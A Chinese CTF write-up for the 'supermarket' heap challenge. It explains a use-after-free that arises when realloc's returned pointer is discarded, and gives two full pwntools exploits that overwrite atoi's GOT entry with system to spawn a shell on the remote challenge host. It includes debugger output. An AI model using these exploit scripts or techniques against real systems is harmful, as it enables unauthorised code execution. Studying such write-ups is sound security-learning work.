文章目录
思路
0x00.tar解压
下载获得压缩包文件,解压之后放进ubuntu中发现还是一个tar格式压缩包。
tar -xf filename
附:linux下tar命令详解
解压得到一个libc.so.6的库和一个可执行文件
0x01.查看保护
- 32位程序
- 可以进行栈溢出
- 堆栈上的代码不可执行
- 地址随机化未开启
0x02.查看程序并调试
很明显的菜单题,试了一下选项都能用,感觉比上次做的菜单题要难一点。
1. add a commodity #添加商品
2. del a commodity #删除商品
3. list commodities #商品列表
4. Change the price of a commodity #修改商品价格(无权限)
5. Change the description of a commodity #修改商品类型
6. exit #退出
程序的note结构体如下:
typedef struct Node{
char name[16];
int price;
int descrip_size;
char *description;
}
0x03.漏洞分析
这题和一般的UAF有一定的区别,因为free之后的指针也赋值为NULL。
利用点在于一个realloc函数。
realloc函数详解
函数原型
realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);
函数功能
先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。
注意点
如果重新分配成功则返回指向被分配内存的指针,否则返回空指针NULL。
0x04.利用思路
- 若当前指针没有足够的连续空间,则会释放原来的mem_address,由于没有把返回地址赋给node0->description,因此存在UAF漏洞。
- 创建nodeX时,先malloc node结构体,再malloc description空间。创建nodeX+1时,如果满足条件,nodeX+1结构体会申请到nodeX->description,此时编辑nodeX的description就是编辑nodeX+1的结构体。我们把nodeX+1的description指向atoi的got表,就可以实现泄露atoi的地址以及修改atoi的got表。
利用过程
exp-1
# -.- coding=UTF-8 -.-
from pwn import *
from LibcSearcher import *
context(log_level="debug",arch="i386",os="linux")
r = remote("111.198.29.45",54105)
elf = ELF("./supermarket")
libc = ELF("./libc.so.6")
atoi_got = elf.got['atoi']
#define add1,del1,list1,edit1
def add1(index,size,content):
r.sendlineafter('your choice>>','1')
r.sendlineafter('name:',str(index))
r.sendlineafter('price:','10')
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)
def del1(index):
r.sendlineafter('your choice>>','2')
r.sendlineafter('name:',str(index))
def list1():
r.sendlineafter('your choice>>','3')
def edit1(index,size,content):
r.sendlineafter('your choice>>','5')
r.sendlineafter('name:',str(index))
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)
#node0
add1(0,0x80,'a'*0x10)
#node1
add1(1,0x20,'b'*0x10)
# realloc node0->description
#realloc的空间要比原来node0申请的空间大,UAF
#注意不能加任何数据,因为我们发送的数据要被写到一个被free的块
edit1(0,0x90,'')
#将node2分配到node0->description
add1(2,0x20,'d'*0x10)
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
#realloc返回的指针没有赋给node0->description,即node0->description还是原来的地址,存的是node1
#edit1(0)即编辑node1的结构体,修改node1->description指向atoi的got表
edit1(0,0x80,payload)
list1()
r.recvuntil('2: price.20, des.')
#泄露atoi地址
atoi_addr = u32(r.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))
#libc =LibcSearcher('atoi',atoi_addr)
offset = atoi_addr - libc.symbols['atoi']
system_addr = offset + libc.symbols['system']
#修改atoi的got表指向system
edit1(2,0x20,p32(system_addr))
#getshell
r.sendafter('your choice>>','/bin/sh\x00')
r.interactive()
解法二
函数须知
flat函数
作用:将参数展平为字符串
flat(*args, preprocessor = None, length = None, filler = de_bruijn(),
word_size = None, endianness = None, sign = None) -> str
Parameters: #参数
args – Values to flatten #要展平的值
preprocessor (function) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
#预处理器(函数)–在扁平化之前,对每个元素进行调用以有选择地转换元素。 如果返回None,则使用原始值。
length – The length of the output. #输出字符串的长度
filler – Iterable to use for padding. #可迭代用于填充
word_size (int) – Word size of the converted integer.#转换后整数的字大小,如16表示16位
endianness (str) – Endianness of the converted integer (“little”/”big”).#转换后整数的字节序(小端/大段)
sign (str) – Signedness of the converted integer (False/True)#转换后整数的符号
举例:
(1)>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
#第一个1表示p16(1),16位有两个字节,所以是"\x01\x00"
(2)>>> flat({12: 0x41414141,
... 24: 'Hello',
... })
b'aaaabaaacaaaAAAAeaaafaaaHello'
#"12:0x41414141"表示在第12处插入AAAA,24:'Hello'同理
#其余的字母是类似cyclic的随机数
0x00.查看堆地址
pwndbg直接使用vmmap命令看不到堆地址
在malloc函数处下断点再次使用vmmap命令查找堆地址
pwndbg> b *0x8048AC1
Breakpoint 1 at 0x8048ac1
pwndbg> r
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x804a000 r-xp 2000 0 /home/devil/adworld/pwn/supermarket/supermarket
0x804a000 0x804b000 r--p 1000 1000 /home/devil/adworld/pwn/supermarket/supermarket
0x804b000 0x804c000 rw-p 1000 2000 /home/devil/adworld/pwn/supermarket/supermarket
0x804c000 0x806d000 rw-p 21000 0 [heap]
0xf7e05000 0xf7e06000 rw-p 1000 0
0xf7e06000 0xf7fb6000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb8000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
0x01.伪造chunk
伪造第二个商品的结构体,造成UAF
exp-2
#! /usr/bin/env python
# -.- coding=UTF-8 -.-
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r = remote("111.198.29.45",31659)
p = process('./supermarket')
elf = ELF('./supermarket')
libc = ELF('./libc.so.6')
def add(name,price,size,desc):
r.sendlineafter('>>','1')
r.sendlineafter('name:',str(name))
r.sendlineafter('price:',str(price))
r.sendlineafter('size:',str(size))
r.sendlineafter('description:',str(desc))
def delete(name):
r.sendlineafter('>>','2')
r.sendlineafter('name:',str(name))
def show():
r.sendlineafter('>>','3')
r.recvuntil('B:')
r.recvuntil('des.')
return r.recvuntil('\n',drop=True)#默认是False
def edit(name,size,desc):
r.sendlineafter('>>','5')
r.sendlineafter('name',str(name))
r.sendlineafter('size:',str(size))
r.sendlineafter('description:',str(desc))
add('A','1','256','a')
edit('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a'*0xc,0x21,0x42,'a'*0xc,0x1,0x10,elf.got['atoi']])
edit('A','256',payload)
offset = u32(show()[:4]) - libc.symbols['atoi']
sys_addr = offset + libc.symbols['system']
edit('B','16',p32(sys_addr))
r.sendlineafter('>>','/bin/sh\x00')
r.interactive()
附:
pwntools_documentation
CTFwiki-Use After free
攻防世界PWN之Supermarket题解
攻防世界pwn supermarket + 实时数据监测